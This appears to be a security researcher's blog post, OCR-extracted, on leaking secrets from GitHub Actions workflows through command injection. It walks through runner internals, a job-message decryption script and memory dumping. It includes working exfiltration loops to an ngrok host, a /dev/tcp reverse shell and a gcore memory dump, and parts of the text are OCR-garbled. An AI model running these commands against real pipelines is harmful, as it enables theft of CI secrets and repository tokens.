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GitHub Actions is a CI/CD solution built into GitHub. It allows users to for example, deploy their
repository's code on every push, or to automatically respond on new GitHub issues. Actions
workflows are defined as YAML files placed into .github/workflows . Workflows are composed of
jobs, which run asynchronously and in separate hosted machines;1 and jobs are broken into
steps.

As far as security is concerned, the main vulnerability in GitHub Actions is command injection.
Take the following workflow:



name: command-injection-demo
on:
issue_comment:
types: [created]
jobs:
comment-action:
runs-on: ubuntu-latest
steps:
- name: Echo Issue Comment
run: |

echo ${{ github.event.comment.body }}

It triggers on an issue comment and echoes the comment’s body through a shell action (defined
with run ). Because the braces input syntax ( ${{}} ) does not escape input values, we can achieve
command injection on the hosted machine. Here are the build logs after commenting ; whoami :

[ Projects

) Actions

Re-run all jobs

[n] Summary

comment-action

Jobs
I & comment-action > @ Setupijob
~ @ Echolssue Comment

Run details

What's the impact of such command injections? GitHub Actions workflows often rely on secret
values, such as APl keys and passwords. The secret values are configured in a repository’s settings
and are referenced in workflows through the secrets object:



name: command-injection-demo
on:
issue_comment:
types: [created]
env:
API_KEY: ${{ secrets.API_KEY }}
jobs:
comment-action:
runs-on: ubuntu-latest
steps:
- name: Call Webhook Using API Key
run: |

curl https://web-hook-url/comment?issue_id=${{ github.event.issue.number }} -H "X-API-Key: $API_KEY" -d "comment_bc

< G — >

Therefore, if a workflow job is vulnerable to command injection, we can leak its secrets. In above
example, commenting "; echo $API_KEY | xxd -p 2 will print the API key to the build logs.

However, not all workflows expose secrets through environment variables. What if the ${{
secrets.API_KEY }} was directly referenced in the curl command? In addition, what if the curl
command was in a different step than the command injection? Even more, what if no secrets were
referenced—is there any impact? In this blogpost, | will document the inner-workings of the
GitHub Actions runner (the code which executes workflow jobs). Then, | will explore various ways
to leak secret values from GitHub Actions: reading files and environment variables, monitoring
network/process communication, and dumping memory.

GitHub Actions Runner — How Does It Work?

The GitHub Actions runner has two main components: Runner.Listener and Runner.Worker. The
Runner.Listener listens for workflow jobs from a remote actions service. Once it receives a
message, Runner.Listener decrypts the job details and launches a Runner.Worker to execute the job.

The process can be summarized with a diagram from the official runner documentation:


https://github.com/actions/runner/blob/main/docs/design/auth.md
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There are two types of runners: hosted and self-hosted.

Hosted runners are the default runners managed by GitHub. They only process a single job before

their machine terminates, and they are automatically configured by the machine management
service:

Runner Configuration, Start and Running (hosted only)
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The .runner file contains information such as the APl endpoint to communicate with, and
.credentials contains the OAuth access token to fetch job messages.

Self-hosted runners are those hosted by the user. Upon initial configuration, they generate an RSA
key pair and register the public key with the actions service, so that it can send encrypted data:



Runner Configuration (self-hosted only)
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The job messages are encrypted likely as a security measure against compromised access tokens.
An attacker who has an access token but not the corresponding private key cannot decrypt job
messages—they can only send the “Get message” request and receive encrypted job data. With
the private key, the runner decrypts an AES encryption key and uses the key to decrypt job
messages. (On the other hand, hosted runners receive a decrypted AES key and don't rely on RSA
encryption; this is because their access token expires shortly after the job finishes.)

Self-hosted runners are difficult to configure securely, so GitHub only recommends them in private
repositories. However, to better understand how the GitHub Actions runner works, | will launch a
self-hosted instance and analyze it through an HTTP proxy (Burp Suite).

Network Analysis

In the actions settings page, | followed the set-up instructions for self-hosted instances:



Architecture

x64

Download

¢ mkdir actions-runner && cd actions—runner
wwnload the latest runner

$ curl -o actions-runner-osx-x64-2.299.1.tar.gz -L https://github.com/actions/runner/releases
/download/v2.299.1/actions-runner-osx-x64-2,299.1.tar.gz

# Optional: Valid the |

$ echo "b@128120f2bc48e5724df513d77d1457ae845a692f60acf3feba63bBd@laBfdc actions—runner-osx-—
x64-2.299.1.tar.gz" | shasum -a 256 —-c

# Extract the 1ller

$ tar xzf ./actions-runner-osx-x64-2.299.1.tar.gz

Configure

ate the runner and start the configuration experience
$ ./config.sh ——url https://github.com/KarimPwnz/actions-pwnie-2 —-token
ADM0662PC5WPWXU7HNM7UWTDWB5M2

run it!

$ ./run.sh

Using your self-hosted runner

# Use this YAML in your w file for each job

runs—on: self-hosted

For additional details about configuring, running, or shutting down the runner, please check out our product docs.

The ./config.sh step generated three configuration files: .runner, .credentials, and
.credentials_rsaparams . The last file is only present in self-hosted runners and contains the RSA
private key parameters in JSON format.

At the run step ( ./run.sh), | added the http_proxy and https_proxy environment variables to proxy
through Burp Suite: http_proxy=http://127.0.0.1:8080 https_proxy=http://127.0.0.1:8080 ./run.sh . After
receiving an access token, the runner requested a session and the encrypted AES key:



Request Response
Pretty Raw Hex 8 n» = Pretty Raw Hex B n =
1 POST 1 HTTP/2 280 0K

FFImzYQUMTrmYF3avNpDvKOQdRhS1gA9@sKkcVIXpY1ITx1Vfak/_apis/distr 2 Cache-Control: no-store,no-cache

ibutedtask/pools/1/sessions HTTP/2

Host: pipelines.actions.githubusercontent.com Content-Type: application/json; charset=utf-8

Accept: application/json; api-version=5.1-preview.1 Vary: Accept-Encoding

User—Agent: V5Services/2.299.1.@ (NetStandard; Darwin 21.6.9 6 Strict-Transport-Security: max-age=2592000

Darwin Kernel Version 21.6.8: Sun Nov 6 23:31:16 PST 2822; X-Tfs-Processid: 4fbaa5e5-57fe-40d7-8678-0e9ff4acidae

root:xnu-8020.240.14~1/RELEASE_X86_64) 8 Activityid: c3BcS5cc6-c@25-424a-acdb-499d6aflcedf

GitHubActionsRunner-osx-x64,/2.299.1 9 X-Tfs-Session: 186f6312-5cdc-4e86-blcl-12f774728fed

ClientId/d27cff98-cfa®-453a-9@cd-eeaetfBBel56 Runnerld/2 10 X-Vss—E2eid: 9778cda8-b55b-480f-ad88-f2ad7f6cf7cl

GroupId/1 CommitSHA/2e44f985bd9bfE90dcB61eb54T6aB5@8cET1249cf 11 X-Vss—Senderdeploymentid: dBe2cadd-fc49-4fde-de7b-4a7cafddbaba

(Darwin 21.6.8 Darwin Kernel Version 21.6.@: Sun Nov & X-Frame-Options: SAMEORIGIN

23:31:16 PST 2022; root:xnu—B@20.240.14~1/RELEASE_XB6_64) 13 X-Vss-Userdata

X-Vss-E2eid: 9778cdaB-b55b-480f-a0B8-f2ad7f6cfTco dddddddd-dddd-dddd-dddd-dddddddddddd: System: Serviceldentity; DDDDDDDD-DDDD-DDDD-DDDD-D

X-Tfs-Fedauthredirect: Suppress DDDDDDDDDDD

7 K=Tfs-Session: 186f6312-5cdc-d4elf-blcl-127f774728fed 14 X=-Cache; CONFIG_NOCACHE

Accept-Encoding: gzip, deflate 15 X-Msedge-Ref: Ref A: 3A367CES6CA94B24914E5072C1F6AA31 Ref B: PRAEDGE@BBE Ref C:

X-Vss-Userdata: 2022-12-31T17:12:192

3 Authorization: Bearer Date: Sat, 31 Dec 2822 17:12:19 GMT
eyJ0eXAL01IKV1QiLCIhbGCi01I5UzTIINATISIng1dCI6ImVCW19] biNzWF LBZ0B

Pragma: no-cache

jaDRUSEJLSEInT3dPRSI9. eyJuYWllaWQi0ilkZGRkZGRKZC1KZGRELWRKZGOLZ 18 {

GRKZC1KZGRKZGRKZGRKZGOiILCIZY3A101IBY3Rpb252zUnVudGLtZS55dWSuUZXIM "sessionId":"4adB66ab-adla-4363-8766-32887382578c",
aXNeZW46MiBGemFtZXdvemsuR2VuZXIpY1I1YW0oSWRLbnRpdHkuUmVhZF11ZnM YencryptionKey":{

gTGIjYXRpb25TZXI2aWN1LkNvbmS 1Y301LCIIZGVudGlReeVRS cGVDbGFpbSIGIL "encrypted":true,

NSc3R1bTpTZXI2aWN1SWR1bnRpdHkiLCIodHRWOiBvc2NoZWlheyS4bWxzb2Fwl “"value":

mOyZy93cyByMDALLZALL21kZW50axXR5L2ZNSYWltcy9zaWQi0iJERERERERERCLE "puSte2GCVCaBhoUBbyqukIN3IZAFTZ/vQECa@hSCZBqiMyQy22XKiD/w+eBg+pD2 rZ8VIms2wdSvLPApT
RERELUREREQtRERERC1EREREREREREREREQiLCIodHRWOi8vc2ZNoZWlhcyS5taWN hx6sbT7og2alxk5LxLq5566Kn5y5H/cdUbZB8ndKBITXRA/5zBIHIGXEEEWATHzgneRzhwOWS4LCLIKWIC
yb3NvZnQuY29tL3dzLz TwMDgwMDYvaWR 1bnRpdHkvY2xhaWlzl 3ByaWihcnlzaW vgw+9KIZGwmT3BLshmroB8Ss02kx7yAHEZi93tXa/PBd3tGk0alShR2VP3I328dDyNgdpenjkg+91llygoi
Qi0iJkZGREZGRKZC1kZGRKLWRKZGOtZGRKZC1kZGREZGRKZGRKZGOILCIhdWkiD MK50eB8 fqmHAgX063+J@JB4nnDKt3MdLmHOf2TBgCKFGKhS/ rpcMPpWeaz t+ANSYdx2ubL69]6ehaFAm+
iI4Yjgx0DY2YSO1Y jAWLTRKN2QtOThIMCR4MDYyMDY4MDgwM2IiLCIzaW0i0il4 wBvPdPm/aEBgqWImcEw==""
ZTNLIZTKR@YLilhYTRILTRINWMEOTcIMiBxNZYxNTKwOTMZNjMiLCIhcHBPZCIGImQ },

yNZNMZj k4 LWNmY TATNDUZYS@SMONKLWY LYWU2Zj gwZTEINL TS ImShbWULi01JUYX "ownerName": "Oven"

0@ < >

0 matches @{Q‘} < ||| | Search. 0 matches

It then began listening for messages through an HTTP long-poll request:

http_proxy=http://127.0.0.1:8080 https_proxy=http://127.0.0.1:8080 ./run.sh

vV Connected to GitHub

Current runner version: '2.299.1
2022-12-31 17:12:20Z: Listening for Jobs

Request

GET /F9mzYQUMfrmYF3avNpDvKOQdRhS LgA9@sKkeViXpY1ITx1Vfak/_apis/distributedtask/pools/1l/messages?sessionld=4ad866ab-adla-4363-Bf66-3208f382578c&status=
Online HTTP/2

Host: pipelines.actions.githubusercontent.com

Accept: application/json; api-version=5.1-preview.l

User-Agent: VSServices/2.299,1.8 (NetStandard; Darwin 21.6.@ Darwin Kernel Version 21.6.8: Sun MNov 6 23:31:16 PST 2022;
root:xnu-8020,249.14~1/RELEASE_X86_64) GitHubActionsRunner-osx-x64/2.299.1 ClientId/d27cff98-cfad-4532-90cd-eeae6f80e156 Runnerld/2 Groupld/1
CommitSHA/2ed44T985bd9bfB90dc@61e654T6a858c671249cT (Darwin 21.6.8 Darwin Kernel Version 21.6.8: Sum Nov 6 23:31:16 PST 2022;
root:xnu-802@.248.14~1/RELEASE_XB6_64)

X-Vss-E2eid: 874f33bf-5a38-4388-91bl-85aba5ff286e

X-Tfs-Fedauthredirect: Suppress

X-Tfs-Session: 18676312-5c4c-4eB6-blcl-127774728fe9

Authorization: Bearer
eyJReXAi01IKV10iLCIhbGei0iISUZzIINLISIngldCIGImVEWL9jbjNzWFLBZDE] aDRUSEILSEINnT3dPRSIS . ey JuYWl laW0i01iIkZORKZGRKZCIKZGRELWRKZGOt ZGRKZC 1k ZGRKZGRKZGREZGOLLL 2Y
3AL01JBY3RpbZ5ZUNVUdGLLZSSSAWSUZXIMAXNOZWAEM iBGemFT ZXdvemsuRZVUZXIpY1) LYWQgSWRLbNRpdHkUUMVhZFI LZnMg TG YXRpb25TZXI2aWN LLKNvbm51Y3QiLCIIZGVudGLeeVRS CGVDLGF
pbSIBIINSc3R1bTpTZXI2aWN1SWR1bnRpdHKiLCJodHRWO1Bvc2NoZWlhcy54bWxzb2 FwlmIyZy93cyByMDALLzAL1L21kZW5@aXR5L2NsYWltcy9zaW0i0iJERERERERERC1ERERELUREREQTRERERCIER
EREREREREREREQiLCJodHRwOiBvc2NoZWlhcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWR 1bnRpdHkvY2xhaWlzL3ByaWlhcnlzaW0Qi0ilkZGRkZGRKZC1KZGRKLWRKZGOtZGRKZC1KZGRKZGRKZGR
kZGOiLCIhdWki0iI4Yjgx0DY2YS@1YjAWLTREKNZGLOThIMC@4MDY yMDY4MDgwM2IiLCIzaWQi0iI4ZTNIZTKOY 11hYTRLTRINWMtOTCIMAOXNZY XNThwOTHzNjMiLCIhcHBpZCIGImQyNZNmZ j kAL WNmY
TATNDUZYSOSMGNKLWY LYWU2Z i gwZTEINAISImShbWUi0iJUYXNrIEFnZWS@IDIALCIvd251c19pZCIBILIfaZdETOLzMm532yIsImlpbGxpbmd fb3duZX] faWQi0iVX2tnREIBTmp2ZXcilC)sYW] TbHM
i0iIbXCI1zZWxmLWhve3R1ZFwil FwibWFjTINcTixcI1g2NFwiXSTsIn]1bm51c19nem31cFIpZCIGTjEiLCIydWSuZXIfaW(i0ilyTiwiaXNzTjoidnN@b2t 1bi5hY3Rpb25zLmdpdGhlYnVzZX]jb2502
W5@LmNvbSIsImF1ZCI6InZzdGY rZW4uYWNR@aWIucySnaXRodWI1c2VyY29udGVudC5jb218dnNvOmU3ZmIxMzUBLTFIMjEtNGYxZCO42Z jMOLWIXNGUxOGNAYTYWNSISsImSiZiI6MTY3IMjUwNjEz0CwiZXh
WIjoxNjcyNTASNzM4(Q.a6bHMAXT8mdkxpS-M-14EeA_lphMgel9gop9Wx-CpIlrowBWZcZWc640gNZCkOQwZscRt Jkqs8iR_GVwxEB8KkXHIMEWI iaom4DmEoLEsI-M5mimmgP leflsM5g4QuokI7bEZUMVGa
4455aRIMXUT@463X7IK-329c6FuT]_3ohcQo3YyT_epkzN2sNi6EjcRINCZ1451ifGiuva_uhOhVZuHpxrH5TALlsyVR1G5R029BBoVemHHOZKXEBSVxtijg6BiyvEIQXtymxIAx31laReWMFUYADTbbt iDd
7CF5F425BTmanxqzDglwrpborgg-7ailz80FodLdCxWM7kHnm-udmg

Accept—-Encoding: gzip, deflate

60 -

| pushed a workflow that runs on self-hosted runners (as denoted by runs-on: self-hosted ):



name: command-injection-demo
on:
issue_comment:
types: [created]
jobs:
comment-action:
runs-on: self-hosted
steps:
- name: Echo Issue Comment
run: |

echo ${{ github.event.comment.body }}

Once | triggered the workflow (by creating an issue comment), the long-poll request received a
response with an encrypted job message and an AES initialization vector (IV):

a= =
Response
Hex 8 nr = Pretty Raw Hex Render 2 =
1 BET 1 HTTP/2 280 0K
SFImzYQUMTrmYF3avNpDvKOQdRhS1gA9RsKkoVIXpY1ITx 1V fak/ _apis/distr 2 Cache-Control: no-store,no-cache
ibutedtask/pools/1/messagesisessionld= 3 Pragma: no-cache
4ad8bbab-adla-4363-8766-32087382578c&status=0nline HTTP/2 4 Content-Type: application/json; charset=utf-8
2 Host: pipelines.actions.githubusercontent.com 5 Vary: Accept-Encoding
3 Accept: application/json; api-version=5.1-preview.1 6 Strict-Transport-Security: max-age=2592800
4 User-Agent: VSServices/2.299.1.9 (NetStandard; Darwin 21.6.0 7 X-Tfs—Processid: 17d8a5c1-08581-410b-84b@-91a82cbR1649
Darwin Kernel Version 21.6.@: Sun Nov 6 23:31:16 PST 2022; 8 Activityid: dB8c1458c-Tdc3-4291-8429-2ded3ab2e5e2
root:xnu-8820.2408.14~1/RELEASE_X86_64) 9 X-Tfs-Session: 186f6312-5cdc-4e86-blcl-12f774728fe9
GitHubActionsRunner-osx-x64/2,299,1 18 X-Vss-E2eid: 5082f2fd@-42bc-48f@-bf64-2a00bcB1f16c
ClientId/d27cff98~-cfad-453a-90cd-eeaetf8@el156 Runnerld/2 11 X-Vss-Senderdeploymentid: dBe2cadd-fc49-4fde-de7b-4a7cadddéaba
GroupIld/1l CommitSHA/2e44f985bd9bf898dcB61e654 feaBo@ceT1249cf 12 X-Frame-Options: SAMEORIGIN
(Darwin 21.6.8 Darwin Kernel Version 21.6.08: Sun Mov & 13 X-Cache: CONFIG_MOCACHE
23:31:16 PST 2022; root:xnu-8020.248.14~1/RELEASE_X86_64) 14 X-Msedge-Ref: Ref A: C2505F40378848(3BE14B40269A9BACG Ref B: PRAEDGE@S8OZ Ref C:
5 X-Vss-E2eid: 502f2fd@-42bc-48f0-bf64-2a9@bcB1fl6e 2022-12-31T17:19:53Z
6 X-Tfs-Fedauthredirect: Suppress 15 Date: Sat, 31 Dec 2022 17:20:25 GMT
7 X-Tfs-Session: 186T6312-5cdc-4eB6-blcl-121774728fed 16
6 Authorization: Bearer 17 {
eyl@eXAi0iIKV10iLCIhbGei0iISUzIINIISIngldCIGIMVCWLY jbjNzWF LBZDEB "messageld":1,
jaDRUSEJILSELnT3dPRSJ9. eyuYW1llaWQi0iJkZGRKZGRKZC1KZGRELWRKZGtZ "messageType":"PipelineAgentJobRequest”,
GRKZC1KZGRKZGRKZGRKZGQILCIZY3AL01IBYIRPL25ZUNVUdGLTZSSSAWSUZXIM "iv"i"BTCOBPT1dQin79s1+KbTaw==",
aXNOZW4EMiBGemF tZXdvemsuR2VuZXIpY1I 1YWOgSWRLbnRpdHkulimVhZFI1ZnM "body":
gTGIjYXRpb25TZX12aWN 1LkNvbm5 1¥301iLC11Z6VudG1@eVR5cGVDbGFpbSI6I L "h2RI8D+38mZorZnKcXgtNns LCEsmPTmFSBEzdRAGHhB1@HZq9] IRvy30MTeE+1U8d j Ir15NB9B24sAfx+D
NSc3RLbTpTZXI2aWN1SWR1bnRpdHkiLC)odHRWO1Bvc2NoZWlheyS4bWxzb2 Fwl WC26+2cHawXGriNxP9 lnhgdeGEQEXQ99YWSv52C0x00n 1Ppj FSAbAO+RIATSOPD09t JRWUNSx3HbCVIYBS L
mIyZy93cyByMDAILZALIL2Z LKZWSBaXRSL2Ns YW ltcy9zaWQi0iJERERERERERC1E JajgN3oXKFRSug/XVOtNYOF fp32LTRAMpDNUj E3WvE9e6f 70Z50HC | j6IkIy ThhTEXDEIHVY xIw0Y41Vs 88
RERELUREREQtRERERCIEREREREREREREREQiLCI0dHRWO i8ve2ZNoZWLheyStawN GCKCNAJE1TVIUHFhGaMYpHG/KIn7 iUOGTAWDUPNP7 27 rKROWESIaps 94HHZRH6 3w IumdGymBWWGTS2LdChI
yb3NVZnQuY29tL3dzLzIwMDgvMDYvaWR1bnRpdHkvYZxhaWlzL3ByaWlhcnlzaW b2LL52z2LXp+@Xpx32KY19sPD5cASEBC ) OXoXWx7B4U+2QEN3QYSro@W7 LGW+Pgoc3Mes f/wAnGOiYeStRO
0i0ilkZGRKZGRKZIC1kZGRKLWRKZGOtZGRKZC1kZGRKZGRKZGRKZGOILC ThdWkil oJSPVBTF7IYpW60sBvWzyqnilE14bn81GVKkrz706sN/LVdU4TI1C1gYoHI+KUFuBxtkn+zqsaldgGfcYYTX
iI4Yjgx0DY2YS@1Y jAWLTRKN2QtOTh IMCR4MDYyMDY4MDgwH2IilCIzaWQi0il4 tBvov/hbOwE01YX6mhj3v5VeTQ+IhC129RR1IIINIOFijI35cYsnWar3gELAgRTthod+/KkEtb/LK5/j5LLpo
ZTNLiZTK@YilhYTRILTRINWMEOTCIMi@xNZYXNTkwOTMzNjMiLCIhcHBpZCIGImQ DBf11F90heBIYsIUWy9KhoIXPDaWwaIZoPIfajeatRdeWpdz iUNBv4eiVNIFAULITOSEIKQYudgxbtUxRLLh
yNZNmMZ j kA LWNmY TAtNDUZYSOSMGNKLWY IYWUZZ ] gwZTEINAIsImShbWUL01iJUYX LSbwlbkdgukZgNO4mQjRhIm9almg//0500/+020R48czKkVbx9] 7DgMPcoHzCvQTHNLIUCISQuYm7ESELoTgw
NrIEFnZWS@IDIiLCIvd251c19pZCI6I1)fa2dETA1zMM532Zy IsImIpbGxpbmd fb LmcaGDMXOTVAPGF 180yy4 tMBOywrYd422t2jRUDRUBZ+/PLIPY2uSowK0SONwOLa10x04rCnPAZ151cVdS
®{§} ||| | Search... 0 matches @{O:} € ||| | Search... 0 matches
L

Since | have the private key, | can decrypt the AES encryption key and decrypt the message body.
Consulting the Actions runner source code, | wrote the following decryption script:3



import sys

import json

from base64 import b64decode, b64encode
from binascii import hexlify

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Hash import SHA256

if len(sys.argv) |=5:
print("Usage: decrypt.py RSA_PARAMS_FILE AES_KEY_B64 IV_B64 DATA_FILE")
exit(1)
# Use RSA params to decrypt AES key
with open(sys.argv[1], "r") as f:
rsa_params = json.load(f)
rsa_params = {k: int(hexlify(b64decode(v)), 16) for k, v in rsa_params.items()}
key = RSA.construct((rsa_params["modulus"], rsa_params["exponent"], rsa_params["d"], rsa_params["p"], rsa_params|[
key = PKCS1_OAEP.new(key, hashAlgo=SHA256)
aes_key = be4decode(sys.argv[2])
aes_key = key.decrypt(aes_key)
# Use AES key and IV to decrypt data
iv = b64decode(sys.argv[3])
aes_decrypter = AES.new(aes_key, AES.MODE_CBC, iv=iv)
with open(sys.argv[4], "r") as f:
data = b64decode(f.read().rstrip("\n"))
data = aes_decrypter.decrypt(data)
print(data.decode("utf-8"))

. ) »
The decrypted message contained all information necessary to run the job, from the steps

themselves (in a JSON format instead of YAML) to the GitHub context data (like the issue comment
and repository URL) :



"fileTable": [".github/workflows/demo.yml"],
"mask": [

1,

"steps'": [

-

"variables": {-

¥y

"messageType': "PipelineAgentJobRequest”,
"plan": {-

H

"timeline": {

¥

"jobId": "97cB82869-86e9-5824-f136-d88d537ff759",
"jobDisplayName": "comment-action",
"jobName": "__default",

"requestId”: 11,

"lockedUntil": "0001-01-01T00:00:00",
"resources": {-

|

"contextData": {-

X

Most relevant to us is the “variables” field. Among other things, it contained the secret values and
the GitHub token for the job!

"variables": {
"API_KEY": {
"value": "SECRET VALUE", "issecret": true
b

"system.github.token": {
“value": "ghs_Y8H50x1COu3xGDYu80DJd3HNCC2vrrole690",
"isSecret": true

}

Our goal is to leak those secrets.

Reading Files and Environment Variables

Before executing a job, Runner.Worker must translate the job details into executable code. The
resulting code for shell actions is stored in /home/runner/work/_temp . Runner.Worker also expands
any references and secrets the shell action contains. Accordingly, the first method to reveal secrets
is by reading the corresponding .sh file in /home/runner/work :

[image: A screenshot showing the result of running "cat /home/runner/work/_temp/*.sh": a curl co
mmand that includes a specified "X-API-Key: SECRET VALUE" header.]
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(Note that I am running a reverse shell from the runner machine. You can alternatively read the
values from the build logs or exfiltrate them.)

This will also print shell actions that have executed in a previous step. For future shell actions, we
create an asynchronous process that continuously exfiltrates .sh files from

/home/runner/work/_temp :4

while true; do curl -s 'https://4ddc-91-197-46-143.ngrok.io' -H "Content-Type: text/plain" -d "$(cat /home/runner/work/

4

POST /

Summary Headers Raw Binary Replay ~

124 bytes text/plain

echo ; bash -i >& /dev/tcp/3.128.107.74/15361 0>&1
curl https://web-hook-url/comment?issue_id=1 -H "X-API-Key: SECRET V
ALUE"

Another type of step is the JavaScript action. It contains a action.yml manifest that specifies input
arguments and a JavaScript file to execute with Node.js. A workflow step then references the
action with the uses key and passes arguments using with :

- name: An Example of a JavaScript Action
uses: user/repo@v3
with:
example_argument_1: ${{ secrets.API_KEY }}

example_argument_2: "Hello world"

Unlike with shell actions, Runner.Worker doesn’t hardcode secrets into JavaScript actions. JavaScript
actions instead receive input values through environment variables—passed into the Node.js
process. To expose those secrets, we asynchronously read the environment variables of future
Node.js processes:

while true; do curl -s 'https://4ddc-91-197-46-143.ngrok.io' -H "Content-Type: text/plain" -d "$(ps axe | grep node)" -0 /
<« D 4



/90/1.19.4/x64 GRAALVM_11_R0O0T=/usr/local/graalvm/graalvm-ce-javall-
22.3.0 RUNNER_PERFLOG=/home/runner/perflog Image0S=ubuntu22 GOROOT_1
_17_X64=/opt/hostedtoolcache/go/1.17.13/x64 JAVA_HOME_8_X64=/usr/lib
/jvm/temurin—-8-jdk-amd64 ANT_HOME=/usr/share/ant DOTNET_NOLOGO=1 STA
TS_RDCL=true AZURE_EXTENSION_DIR=/opt/az/azcliextensions SELENIUM_JA
R_PATH=/usr/share/java/selenium-server.jar PIPX_HOME=/opt/pipx RUNNE
R_USER=runner PIPX_BIN_DIR=/opt/pipx_bin EDGEWEBDRIVER=/usr/local/sh
are/edge_driver ImageVersion=20221212.1 SWIFT_PATH=/usr/share/swift/
usr/bin JAVA_HOME=/usr/lib/jvm/temurin-11-jdk-amd64 ANDROID_NDK_HOME
=/usr/local/lib/android/sdk/ndk/25.1.8937393 XDG_RUNTIME_DIR=/run/us
er/1001 INVOCATION_ID=ad4a66291e10473bb81a82d0301373fc INPUT_EXAMPLE
_ARGUMENT_1=SECRET VALUE INPUT_EXAMPLE_ARGUMENT_2=Hello world GITHUB
_JOB=comment-action GITHUB_REF=refs/heads/main GITHUB_SHA=0d51f56a87
5b0286a33b724991a43968186a86b0 GITHUB_REPOSITORY=karimpwnz/gh-issue-
pwnie-2 GITHUB_REPOSITORY_OWNER=karimpwnz GITHUB_RUN_ID=3856698771 G
ITHUB_RUN_NUMBER=9 GITHUB_RETENTION_DAYS=90 GITHUB_RUN_ATTEMPT=1 GIT
HUB_ACTOR=karimpwnz GITHUB_TRIGGERING_ACTOR=karimpwnz GITHUB_WORKFLO
W=command-injection-demo GITHUB_HEAD_REF= GITHUB_BASE_REF= GITHUB_EV
ENT_NAME=issue_comment GITHUB_SERVER_URL=https://github.com GITHUB_A
PI_URL=https://api.github.com GITHUB_GRAPHQL_URL=https://api.github.
com/graphql GITHUB_REF_NAME=main GITHUB_REF_PROTECTED=false GITHUB_R
EF_TYPE=branch GITHUB_WORKSPACE=/home/runner/work/gh—-issues—-pwnie-2/
gh-issues—pwnie-2 GITHUB_ACTION=__peter-evans_create-or-update-comme
nt GITHUB_EVENT_PATH=/home/runner/work/_temp/_github_workflow/event.
json GITHUB_ACTION_REPOSITORY=peter—evans/create-or—update-comment G
ITHUB_ACTION_REF=v2 GITHUB_PATH=/home/runner/work/_temp/_runne

We have now made progress: we can leak secrets of shell and JavaScript actions, not just secrets
referenced in environment variables. These techniques have been similarly documented by Alex
llgayev from Cycode.5

However, while we can retrieve the secrets of shell actions no matter the step order, we cannot do
the same for JavaScript actions. If a JavaScript action runs before our command injection, the
Node.js process won't be available for us to read its environment variables.

Furthermore, a JavaScript action can contain an execution condition (through the if key) that we
cannot pass:6



- name: An Example of a JavaScript Action
if: github.actor == admin_username # only the admin can execute this action
uses: user/repo@v3
with:
example_argument_1: ${{ secrets.API_KEY }}

example_argument_2: "Hello world"

On top of that, we haven't produced a security impact for workflow jobs that reference no secrets!

Intercepting APl and IPC

From the proxy analysis of Runner.Listener, we know that it receives all the secrets of a workflow
job. Can we intercept the job message from the APl and read its secrets? Or can we listen on the
interprocess communication (IPC) between the Runner.Listener and Runner.Worker processes? That
way, the order and execution of our workflow job steps wouldn't matter: we leak all the secrets
from the get-go.

Unfortunately, our command injection comes in too late. When the command injection executes,
Runner.Listener has already received the workflow job and sent it to Runner.Worker—otherwise the
step with the command injection wouldn't have executed. We have nothing to intercept.

Dumping Memory

There's, however, one last method. Alongside our command injection, the Runner.Listener process
is still running and logging every step’s output. It is the same process that received the initial job
data. So, could we dump its memory and peak into the past?

As luck would have it, the runner user on hosted machines has sudo privileges—and thus the
ability to read any process’ memory:

[image: Screenshot of a shell showing the user is root after executing "sudo id".]

We use the gcore tool (part of gdb) to dump the memory of the Runner.Listener process:

sudo apt-get install -y gdb &&\

sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 })"

Then, we grep the memory dump for the format of secret values—per the job data we decrypted
in the network analysis:

grep -Eao ""[A"]+":\{"value™:"[A"]*" "issecret":true\}' k.dump*

:~/work/actions-pwnie-2/actions-pwnie-2$ grep -Eao '"[A"]+":\{"value":"[A"]*", 6 "issecret":true\}' k.dumpx

:~/work/actions—pwnie-2/actions—pwnie-2%
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And as such, we have all the secret values referenced by the workflow job. We don't need to worry
about JavaScript actions coming before our command injection step, or JavaScript actions having
strict execution conditions. All your base are belong to us, and we've got your secrets!

Nevertheless, one challenge remains: what security impact exists when a workflow job doesn't
reference secrets? Notice that the secrets include a GitHub access token value (under
system.github.token ). This value is always included in workflow runs: among other things, the
runner uses it to authenticate to the GitHub API and install remote JavaScript actions.7 Therefore,
we can always leak the token—even if not referenced with ${{ secrets.GITHUB_TOKEN }} . The token
has by default read-write permissions to the repository, and we can use it to modify the
repository's code

There is an exception ofcourse. Organizations and repositories can enforce read-only permissions
on the token, depending on the triggering event. But when that isn’t the case, using the token
provides a high security impact—writing to the repository.

Conclusion

To leak secrets from GitHub Actions workflows vulnerable to command injection, we explored
three different ideas: reading files and environment variables, intercepting network/process
communication, and dumping memory. We leaked secrets of any shell action by reading its
corresponding .sh file. Similarly, we read environment variables of JavaScript Actions to reveal
secrets passed as input. However, these methods were not sufficient for all workflows: we couldn’t
access JavaScript actions that were defined in a step before our command injection step or that
had a strict execution condition. Moreover, we couldn’t do much with workflows that didn't
reference secrets. From the network analysis, we knew that the Runner.Listener received all the
secrets at once. But network or IPC interception wouldn’t work: the command injection runs after
the job details are received, since it is part of the job’s steps. Memory dumping Runner.Listener
proved to be the golden method. It revealed to us all the referenced secrets, in addition to a write-
access GitHub access token. All this to prove one thing: that vulnerable workflows can't keep a
secret.

I would like to thank EdOverflow, Alvin Ng, Jeffrey Hertzog, and BBAC for helping me write this
blogpost <3
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